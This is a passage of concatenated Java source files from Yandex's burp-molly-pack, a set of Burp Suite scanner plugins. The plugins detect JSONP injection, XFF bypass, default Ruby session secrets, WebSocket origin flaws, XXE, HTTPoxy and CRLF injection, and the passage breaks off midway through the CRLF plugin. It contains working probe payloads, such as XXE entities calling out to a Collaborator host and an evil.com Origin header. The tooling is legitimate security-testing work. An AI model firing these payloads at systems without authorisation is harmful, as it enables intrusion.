CustomScanIssue(requestResponse.getHttpService(), this.helpers.analyzeRequest(requestResponse).getUrl(), new IHttpRequestResponse[]{this.callbacks.applyMarkers(requestResponse, null, responseMarkers)}, attackDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", ""); } } return null; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/JsonpPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/JsonpPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.Utils; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import com.yandex.burp.extensions.plugins.config.JsonpPluginConfig; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.UUID; public class JsonpPlugin implements IAuditPlugin { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private final int ISSUE_TYPE = 0x080a0005; private final String ISSUE_NAME = "JsonpPlugin"; private final String SEVERITY = "Medium"; private final String CONFIDENCE = "Certain"; private List<String> callbackNames; private static final int BODY_SAMPLE_LEN = 210; private List<String> payloads = Arrays.asList("()", "`", ".="); private List<String> validTypes = Arrays.asList("text/javascript", "application/x-javascript", "application/javascript", "text/plain"); // Do we need all possible JS types? // Firefox uses these (see nsContentUtils::IsJavascriptMIMEType): // text/javascript, text/ecmascript, application/javascript, application/ecmascript, application/x-javascript, // application/x-ecmascript, text/javascript1.0, text/javascript1.1, text/javascript1.2, text/javascript1.3, // text/javascript1.4, text/javascript1.5, text/jscript, text/livescript, text/x-ecmascript, text/x-javascript public JsonpPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { JsonpPluginConfig config = extConfig.getJsonpPluginConfig(); if (config == null) throw new NullPointerException(); this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); this.callbackNames = config.getCallbacks(); } @Override public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { if (insertionPoint.getInsertionPointType() != IScannerInsertionPoint.INS_PARAM_URL) return null; if (!callbackNames.contains(insertionPoint.getInsertionPointName())) return null; IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); IRequestInfo req = helpers.analyzeRequest(baseRequestResponse.getRequest()); if (resp == null || req == null || resp.getStatusCode() != 200) return null; String contentTypeHeader = Utils.getContentType(resp); if (!validTypes.contains(contentTypeHeader.toLowerCase())) return null; String bodySample = extractPrefix(helpers.bytesToString(Arrays.copyOfRange( baseRequestResponse.getResponse(), resp.getBodyOffset(), resp.getBodyOffset() + BODY_SAMPLE_LEN ))); if (!bodySample.contains(insertionPoint.getBaseValue())) return null; List<IScanIssue> issues = new ArrayList<>(); for (String vector : payloads) { String payload = insertionPoint.getBaseValue() + vector + UUID.randomUUID().toString().substring(0, 8); IHttpRequestResponse payloadedResponse = callbacks.makeHttpRequest( baseRequestResponse.getHttpService(), insertionPoint.buildRequest(helpers.stringToBytes(payload)) ); IScanIssue res = analyzeResponse(payloadedResponse, payload); if (res != null) { issues.add(res); break; } } return issues.isEmpty() ? null : issues; } private IScanIssue analyzeResponse(IHttpRequestResponse requestResponse, String payload) { IResponseInfo resp = helpers.analyzeResponse(requestResponse.getResponse()); if (resp == null || resp.getStatusCode() != 200) return null; String bodySample = extractPrefix(helpers.bytesToString(Arrays.copyOfRange( requestResponse.getResponse(), resp.getBodyOffset(), resp.getBodyOffset() + BODY_SAMPLE_LEN ))); int payloadIndex = bodySample.indexOf(payload); if (payloadIndex > -1) { String attackDetails = "JSONP callback injection was found at: <b>" + helpers.analyzeRequest(requestResponse).getUrl().toString() + "</b>\n"; List<int[]> responseMarkers = Arrays.asList(new int[]{ resp.getBodyOffset() + payloadIndex, resp.getBodyOffset() + payloadIndex + payload.length() }); return new CustomScanIssue(requestResponse.getHttpService(), helpers.analyzeRequest(requestResponse).getUrl(), new IHttpRequestResponse[]{callbacks.applyMarkers(requestResponse, null, responseMarkers)}, attackDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", ""); } return null; } private String extractPrefix(String body) { int squote = body.indexOf("'"); int dquote = body.indexOf("\""); if (squote == -1 && dquote == -1) return body; if (squote == -1) return body.substring(0, dquote); return body.substring(0, squote); } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/YaXFFPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/YaXFFPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.net.URL; import java.util.ArrayList; import java.util.Arrays; import java.util.HashSet; import java.util.List; /** * Created by a-abakumov on 03/03/2017. */ public class YaXFFPlugin implements IAuditPlugin { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private HashSet<String> flags; private static final List<String> HEADER_NAMES = Arrays.asList("X-Real-IP", "X-Forwarded-For", "X-Forwarded-For-Y"); private static final String HEADER_VALUE = "127.0.0.1"; private static final List<String> STATUS_PATH = Arrays.asList("status", "server-status", "/status", "/server-status"); private final int ISSUE_TYPE = 0x080a0008; private final String ISSUE_NAME = "YaXFF Molly"; private final String SEVERITY = "Medium"; private final String CONFIDENCE = "Certain"; public YaXFFPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); this.flags = new HashSet<>(); } @Override public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); IRequestInfo req = helpers.analyzeRequest(baseRequestResponse.getRequest()); if (resp == null | req == null) return null; URL url = helpers.analyzeRequest(baseRequestResponse).getUrl(); if (flags.contains(url.toString())) return null; else flags.add(url.toString()); List<IScanIssue> issues = new ArrayList<>(); for (String status : STATUS_PATH) { List<String> headers = helpers.analyzeRequest(baseRequestResponse).getHeaders(); for (String i : HEADER_NAMES) { headers.removeIf(header -> header != null && header.toLowerCase().startsWith(i.toLowerCase())); headers.add(i + ": " + HEADER_VALUE); } String finalPayload = req.getMethod() + " " + url.getPath() + status + " HTTP/1.1"; headers.set(0, finalPayload); byte[] attackReq = helpers.buildHttpMessage(headers, null); IHttpRequestResponse attackRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), attackReq); if (helpers.analyzeResponse(attackRequestResponse.getResponse()).getStatusCode() != 404 && helpers.bytesToString(attackRequestResponse.getResponse()).toLowerCase().contains("connections")) { String attackDetails = "Restriction bypass was found at:\n<b>" + helpers.analyzeRequest(attackRequestResponse).getUrl() + "</b>"; List responseMarkers = new ArrayList(1); responseMarkers.add(new int[]{helpers.bytesToString(attackRequestResponse.getResponse()).toLowerCase().indexOf("connections"), helpers.bytesToString(attackRequestResponse.getResponse()).toLowerCase().indexOf("connections") + "connections".length()}); issues.add(new CustomScanIssue(baseRequestResponse.getHttpService(), helpers.analyzeRequest(baseRequestResponse).getUrl(), new IHttpRequestResponse[]{callbacks.applyMarkers(attackRequestResponse, null, responseMarkers)}, attackDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", "")); } } return issues.isEmpty() ? null : issues; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/RubySessionDefaultSecretDetectorPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/RubySessionDefaultSecretDetectorPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import javax.crypto.Mac; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; import java.net.URL; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.security.spec.InvalidKeySpecException; import java.util.ArrayList; import java.util.Formatter; import java.util.HashSet; import java.util.List; /** * Created by ezaitov on 07.02.2017. */ public class RubySessionDefaultSecretDetectorPlugin implements IAuditPlugin { private static final String HMAC_SHA1_ALGORITHM = "HmacSHA1"; private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA1"; private static final int keyIterNum = 1000; private static final int keySize = 64; private static final String salt = "signed encrypted cookie"; private final int ISSUE_TYPE = 0x080a000a; private final String ISSUE_NAME = "Ruby Session Default Secret"; private final String SEVERITY = "Critical"; private final String CONFIDENCE = "Certain"; private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private HashSet<String> flags; private byte[] secretKey; private byte[] secretToken; public RubySessionDefaultSecretDetectorPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); this.flags = new HashSet<>(); setSecretKey("anything"); } @Override public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); if (resp == null) return null; URL url = helpers.analyzeRequest(baseRequestResponse).getUrl(); if (flags.contains(url.toString())) return null; else flags.add(url.toString()); List<IScanIssue> issues = new ArrayList<>(); for (ICookie c : resp.getCookies()) { if (!c.getValue().contains("--")) continue; String[] cookieVal = c.getValue().split("--"); if (cookieVal.length != 2) continue; if (isSignatureValid(cookieVal[0], cookieVal[1])) { String issueDetails = "Vulnerability detected at <b> " + helpers.analyzeRequest(baseRequestResponse).getUrl().toString() + "</b>\n" + "Default Ruby Session secret used - can lead to RCE during unmarshalling"; List responseMarkers = new ArrayList(1); String responseString = helpers.bytesToString(baseRequestResponse.getResponse()); responseMarkers.add(new int[]{responseString.toUpperCase().indexOf("SET-COOKIE:"), responseString.toUpperCase().indexOf("SET-COOKIE:") + "SET-COOKIE:".length()}); issues.add(new CustomScanIssue(baseRequestResponse.getHttpService(), helpers.analyzeRequest(baseRequestResponse).getUrl(), new IHttpRequestResponse[]{this.callbacks.applyMarkers(baseRequestResponse, null, responseMarkers)}, issueDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", "")); } } return issues.isEmpty() ? null : issues; } private void setSecretKey(String value) { value = "aeb977de013ade650b97e0aa5246813591104017871a7753fe186e9634c9129b367306606878985c759ca4fddd17d955207011bb855ef01ed414398b4ac8317b"; // value = "3eb6db5a9026c547c72708438d496d942e976b252138db7e4e0ee5edd7539457d3ed0fa02ee5e7179420ce5290462018591adaf5f42adcf855da04877827def2"; this.secretToken = helpers.stringToBytes(value); try { PBEKeySpec spec = new PBEKeySpec(value.toCharArray(), salt.getBytes(), keyIterNum, keySize); SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM); this.secretKey = skf.generateSecret(spec).getEncoded(); } catch (NoSuchAlgorithmException e) { /* do nothing */ } catch (InvalidKeySpecException e) { /* do nothing */ } } private static String toHexString(byte[] bytes) { Formatter formatter = new Formatter(); for (byte b : bytes) { formatter.format("%02x", b); } return formatter.toString(); } private boolean isSignatureValid(String data, String signature) { boolean detected = false; if (secretKey != null) { try { SecretKeySpec signingKey = new SecretKeySpec(secretKey, HMAC_SHA1_ALGORITHM); Mac mac = Mac.getInstance(HMAC_SHA1_ALGORITHM); mac.init(signingKey); byte[] digest = mac.doFinal(helpers.stringToBytes(data)); detected = toHexString(digest).equals(signature); } catch (InvalidKeyException e) { /**/ } catch (NoSuchAlgorithmException e) { /**/ } } if (secretToken != null) { try { SecretKeySpec signingKey = new SecretKeySpec(secretToken, HMAC_SHA1_ALGORITHM); Mac mac = Mac.getInstance(HMAC_SHA1_ALGORITHM); mac.init(signingKey); byte[] digest = mac.doFinal(helpers.stringToBytes(data)); detected = toHexString(digest).equals(signature); } catch (InvalidKeyException e) { /**/ } catch (NoSuchAlgorithmException e) { /**/ } } return detected; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/WebsocketOriginPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/WebsocketOriginPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.net.URL; import java.util.ArrayList; import java.util.HashSet; import java.util.Iterator; import java.util.List; /** * Created by a-abakumov on 10/02/2017. */ public class WebsocketOriginPlugin implements IAuditPlugin { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private HashSet<String> flags; private final int ISSUE_TYPE = 0x080a0009; private final String ISSUE_NAME = "Websocket Origin Issue"; private final String SEVERITY = "Information"; private final String CONFIDENCE = "Tentative"; public WebsocketOriginPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); this.flags = new HashSet<>(); } @Override public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { IHttpService httpService = baseRequestResponse.getHttpService(); IRequestInfo req = helpers.analyzeRequest(baseRequestResponse.getRequest()); if (req == null) return null; URL url = helpers.analyzeRequest(baseRequestResponse).getUrl(); if (flags.contains(url.toString())) return null; else flags.add(url.toString()); List<IScanIssue> issues = new ArrayList<>(); List<String> headers = req.getHeaders(); String headersAll = String.join("\n", headers); if (!headersAll.toUpperCase().contains("UPGRADE") || !headersAll.toUpperCase().contains("WEBSOCKET")) return null; Iterator<String> iter = headers.iterator(); String i; while (iter.hasNext()) { i = iter.next(); if (i.contains("Origin:")) { iter.remove(); } } headers.add("Origin: http://evil.com"); byte[] body = helpers.stringToBytes(helpers.bytesToString(baseRequestResponse.getRequest()).substring(req.getBodyOffset())); byte[] newReq = helpers.buildHttpMessage(headers, body); IHttpRequestResponse attack = this.callbacks.makeHttpRequest(httpService, newReq); // If response Switching Protocol if (helpers.analyzeResponse(attack.getResponse()).getStatusCode() == 101) { String issueDetails = "Information system uses Websocket technology. This technology allows you to do cross-domain requests to bypass the Same Origin Policy (SOP)\n" + "Websocket does not verify the Origin, which leads to the possibility to establish a Websocket connection from any Origin.\n" + "IMPORTANT: Need manual verification that connection doesn't uses tokens\n"; issues.add(new CustomScanIssue(httpService, this.helpers.analyzeRequest(baseRequestResponse).getUrl(), new IHttpRequestResponse[]{this.callbacks.applyMarkers(attack, null, null)}, issueDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", "")); } return issues.isEmpty() ? null : issues; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/XXEPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/XXEPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.net.URL; import java.util.ArrayList; import java.util.HashSet; import java.util.List; /** * Created by a-abakumov on 13/02/2017. */ public class XXEPlugin implements IAuditPlugin { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private HashSet<String> flags; private static final List<String> XXEPayloads = new ArrayList<>(); private final int ISSUE_TYPE = 0x080a0006; private final String ISSUE_NAME = "XXE Molly"; private final String SEVERITY = "High"; private final String CONFIDENCE = "Certain"; public XXEPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); this.flags = new HashSet<>(); initXXEPayloads(); } public void initXXEPayloads() { XXEPayloads.add("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<!DOCTYPE test [\n<!ENTITY % remote SYSTEM \"http://{collaboratorPayload}/\">\n%remote;\n]><test>test</test>"); XXEPayloads.add("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><!DOCTYPE root PUBLIC \"-//B/A/EN\" \"http://{collaboratorPayload}/\"><root>a0e5c</root>"); XXEPayloads.add("<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe1 \"dryat\"><!ENTITY xxe2 \"0Uct\"><!ENTITY xxe3 \"333\"><!ENTITY xxe \"&xxe1;&xxe3;&xxe2;\">]><methodCall><methodName>BalanceSimple.CreateOrderOrSubscription</methodName><params><param><value><string>&xxe;test</string></value></param><param>x</params></methodCall>"); XXEPayloads.add("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE tst SYSTEM \"http://{collaboratorPayload}\">\n<tst></tst>"); } @Override public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); IRequestInfo req = helpers.analyzeRequest(baseRequestResponse.getRequest()); if (resp == null | req == null) return null; URL url = helpers.analyzeRequest(baseRequestResponse).getUrl(); if (flags.contains(url.toString())) return null; else flags.add(url.toString()); IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext(); String collaboratorPayload = collaboratorContext.generatePayload(true); List<IScanIssue> issues = new ArrayList<>(); for (String xxe : XXEPayloads) { xxe = xxe.replace("{collaboratorPayload}", collaboratorPayload); List<String> headers = helpers.analyzeRequest(baseRequestResponse).getHeaders(); headers.set(0, headers.get(0).replace("GET", "POST")); headers.removeIf(header -> header != null && header.toLowerCase().startsWith("content-type:")); headers.add("Content-type: application/xml"); byte[] attackBody = helpers.buildHttpMessage(headers, helpers.stringToBytes(xxe)); IHttpRequestResponse attackRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), attackBody); List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(collaboratorPayload); if (attackRequestResponse != null && attackRequestResponse.getResponse() != null && collaboratorInteractions != null && (!collaboratorInteractions.isEmpty() || helpers.bytesToString(attackRequestResponse.getResponse()).contains("dryat0Uct333"))) { String attackDetails = "XXE processing is enabled at: \n" + helpers.analyzeRequest(attackRequestResponse).getUrl().toString(); issues.add(new CustomScanIssue(attackRequestResponse.getHttpService(), helpers.analyzeRequest(attackRequestResponse).getUrl(), new IHttpRequestResponse[]{callbacks.applyMarkers(attackRequestResponse, null, null)}, attackDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", "")); } } return issues.isEmpty() ? null : issues; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/HttPoxyPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/HttPoxyPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.util.ArrayList; import java.util.Collections; import java.util.List; import static burp.IScannerInsertionPoint.INS_HEADER; /** * Created by a-abakumov on 14/02/2017. */ public class HttPoxyPlugin implements IAuditPlugin { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private static final int ISSUE_TYPE = 0x080a0002; private static final String ISSUE_NAME = "Server-side proxy settings overwrite (HTTPoxy)"; private static final String SEVERITY = "High"; private static final String CONFIDENCE = "Certain"; private static final String ISSUE_BACKGROUND = "HTTPoxy is a vulnerability that arises when the application reads the Proxy header value from an HTTP request," + " saves it to the HTTP_PROXY environment variable, and outgoing HTTP requests made by the server use it to proxy those requests.<br><br>" + "An attacker can use this behavior to redirect requests made by the application to a server under the attacker's control. " + "They can also cause the server to initiate connections to hosts that are not directly accessible by the attacker, such as those on internal systems behind a firewall. " + "For more information, refer to <a href=\"https://httpoxy.org\">HTTPoxy</a>.<br><br>"; private static final String REMEDIATION_BACKGROUND = "The server should block the Proxy header in HTTP requests as it does not have any legitimate purpose. " + "In most cases, updating the software used in the application stack should fix the issue."; public HttPoxyPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); } public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { if (insertionPoint.getInsertionPointType() != INS_HEADER) return null; IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext(); String payload = collaboratorContext.generatePayload(true); String httpPrefixedPayload = "Proxy: http://" + payload; IRequestInfo requestInfo = helpers.analyzeRequest(baseRequestResponse); List<String> headers = requestInfo.getHeaders(); headers.removeIf(header -> header != null && header.toLowerCase().startsWith("proxy:")); headers.add(httpPrefixedPayload); byte[] request = helpers.buildHttpMessage(headers, substring(baseRequestResponse.getRequest(), requestInfo.getBodyOffset())); IHttpRequestResponse scanCheckRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), request); List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(payload); if (collaboratorInteractions.isEmpty()) return null; List<IScanIssue> issues = new ArrayList<>(); IScanIssue issue = reportIssue(httpPrefixedPayload, scanCheckRequestResponse, collaboratorInteractions.get(0)); issues.add(issue); return issues; } private byte[] substring(byte[] array, int from) { int len = array.length - from; byte[] subArray = new byte[len]; System.arraycopy(array, from, subArray, 0, len); return subArray; } private IScanIssue reportIssue(String payload, IHttpRequestResponse sentRequestResponse, IBurpCollaboratorInteraction collaboratorInteraction) { IHttpRequestResponse[] httpMessages = new IHttpRequestResponse[]{callbacks.applyMarkers(sentRequestResponse, buildRequestHighlights(payload, sentRequestResponse), Collections.emptyList())}; String issueDetail = buildIssueDetail(payload, collaboratorInteraction); return new CustomScanIssue(sentRequestResponse.getHttpService(), helpers.analyzeRequest(sentRequestResponse).getUrl(), httpMessages, issueDetail, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", ISSUE_BACKGROUND, REMEDIATION_BACKGROUND); } private List<int[]> buildRequestHighlights(String payload, IHttpRequestResponse sentRequestResponse) { List<int[]> requestHighlights = new ArrayList<>(); int startOfPayload = helpers.indexOf(sentRequestResponse.getRequest(), helpers.stringToBytes(payload), true, 0, sentRequestResponse.getRequest().length); if (startOfPayload != -1) { requestHighlights.add(new int[]{startOfPayload, startOfPayload + payload.length()}); } return requestHighlights; } private String buildIssueDetail(String payload, IBurpCollaboratorInteraction event) { return "The application is vulnerable to HTTPoxy attacks.<br><br>" + "The header <strong>" + payload + "</strong> was sent to the application.<br><br>" + "The application made " + eventDescription(event) + "<strong>" + event.getProperty("interaction_id") + "</strong>.<br><br>" + "The " + interactionType(event.getProperty("type")) + " was received from the IP address " + event.getProperty("client_ip") + " at " + event.getProperty("time_stamp") + "."; } private String interactionType(String type) { if (type.equalsIgnoreCase("http")) { return "HTTP connection"; } else if (type.equalsIgnoreCase("dns")) { return "DNS lookup"; } else { return "interaction"; } } private String eventDescription(IBurpCollaboratorInteraction event) { if (event.getProperty("type").equalsIgnoreCase("http")) { return "an <strong>HTTP</strong> request to the Collaborator server using the subdomain "; } else if (event.getProperty("type").equalsIgnoreCase("dns")) { return "a <strong>DNS</strong> lookup of type <strong>" + event.getProperty("query_type") + "</strong> to the Collaborator server subdomain "; } else { return "an unknown interaction with the Collaborator server using the subdomain "; } } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/CRLFPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/CRLFPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.net.URL; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.UUID; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * Created by a-abakumov on 03/02/2017. */ public class CRLFPlugin implements IAuditPlugin { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private HashSet<String> flags; private final int ISSUE_TYPE_CRLF = 0x080a0000; private final String ISSUE_NAME_CRLF = "ResponseHeaderInjection(CRLF)"; private final String SEVERITY_CRLF = "Medium"; private final String CONFIDENCE_CRLF = "Certain"; private final String ISSUE_BACKGROUND_CRLF = "HTTP response splitting occurs when:<br/><ul>\" +\n" + "\"<li>Data enters a web application through an untrusted source, most frequently an HTTP request.</li>\\n\" +\n" + "\"<li>The data is included in an HTTP response header sent to a web user without being validated for malicious characters.</li></ul>\\n\" +\n" + "\"HTTP response splitting is a means to an end, not an end in itself. At its root, the attack is straightforward: \\n\" +\n" + "\"an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.<br/><br/>\\n\" +\n" + "\"To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \\\\r) \\n\" +\n" + "\"and LF (line feed, also given by %0a or \\\\n)characters into the header AND the underlying platform must be vulnerable to the injection\\n\" +\n" + "\"of such characters. These characters not only give attackers control of the remaining headers and body of the response the application intends\"+\n" + "\"to send, but also allow them to create additional responses entirely under their control.<br/><br/>\\n\" +\n" + "\"The example below uses a Java example, but this issue has been fixed in virtually all modern Java EE application servers.\" +\n" + "\"If you are concerned about this risk, you should test on the platform of concern to see if the underlying platform allows for CR or LF characters\"+\n" + "\"to be injected into headers. We suspect that, in general, this vulnerability has been fixed in most modern application servers, regardless of what language the code has been written in.\""; private final int ISSUE_TYPE_CR = 0x080a000f; private final String ISSUE_NAME_CR = "ResponseHeaderInjection(CR)"; private final String SEVERITY_CR = "Medium"; private final String CONFIDENCE_CR = "Certain"; private final String ISSUE_BACKGROUND_CR = "CR Response Injection works in any browser, exclude Firefox"; private static final String CRLFHeader = "Molly-Verification-Header:"; private static final Pattern CRLFPattern = Pattern.compile("\\n\\s*" + CRLFHeader); private static final Pattern CRPattern = Pattern.compile("\\r\\s*" + CRLFHeader); private static final List<String> CRLFSplitters = new ArrayList<>(); public CRLFPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); this.flags = new HashSet<>(); initCRLFSplitters(); } public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); IRequestInfo req = helpers.analyzeRequest(baseRequestResponse.getRequest()); if (resp == null | req == null) return null; URL url = helpers.analyzeRequest(baseRequestResponse).getUrl(); IHttpService httpService = baseRequestResponse.getHttpService(); List<IScanIssue> issues = new ArrayList<>(); if (!flags.contains(url.getProtocol() + url.getHost())) { IScanIssue res = scanRootDirectory(baseRequestResponse, insertionPoint); if (res != null) issues.add(res); flags.add(url.getProtocol() + url.getHost()); } String uuid = UUID.randomUUID().toString().replaceAll("-", ""); IHttpRequestResponse checkUUID = this.callbacks.makeHttpRequest(httpService, insertionPoint.buildRequest(this.helpers.stringToBytes(uuid))); if (checkUUID == null || checkUUID.getResponse() == null) return null; String respHeaders = String.join("\n", this.helpers.analyzeResponse(checkUUID.getResponse()).getHeaders()); if (respHeaders.contains(uuid)) { for (String payload : CRLFSplitters) { String finalPayload = uuid.substring(0, 5) + payload + CRLFHeader + uuid.substring(6); IHttpRequestResponse attack = this.callbacks.makeHttpRequest(httpService, insertionPoint.buildRequest(this.helpers.stringToBytes(finalPayload))); IScanIssue res = analyzeResponse(attack, insertionPoint, finalPayload); if (res != null) issues.add(res); } } if (issues.size() > 0) return issues; return null; } public IScanIssue analyzeResponse(IHttpRequestResponse attack, IScannerInsertionPoint insertionPoint, String finalPayload) { if (attack == null || attack.getResponse() == null) return null; String respAttackHeaders = String.join("\n", this.helpers.analyzeResponse(attack.getResponse()).getHeaders()); Matcher crlfMatcher = CRLFPattern.matcher(respAttackHeaders); if (crlfMatcher.find()) { String body = helpers.bytesToString(attack.getResponse()); List requestMarkers = new ArrayList(1); List responseMarkers = new ArrayList(1); requestMarkers.add(insertionPoint.getPayloadOffsets(this.helpers.stringToBytes(finalPayload))); responseMarkers.add(new int[]{body.indexOf(CRLFHeader), body.indexOf(CRLFHeader) + CRLFHeader.length()}); String attackDetails = "Vulnerability detected at <b>" + insertionPoint.getInsertionPointName() + "</b>, " + "payload was set to <b>" + 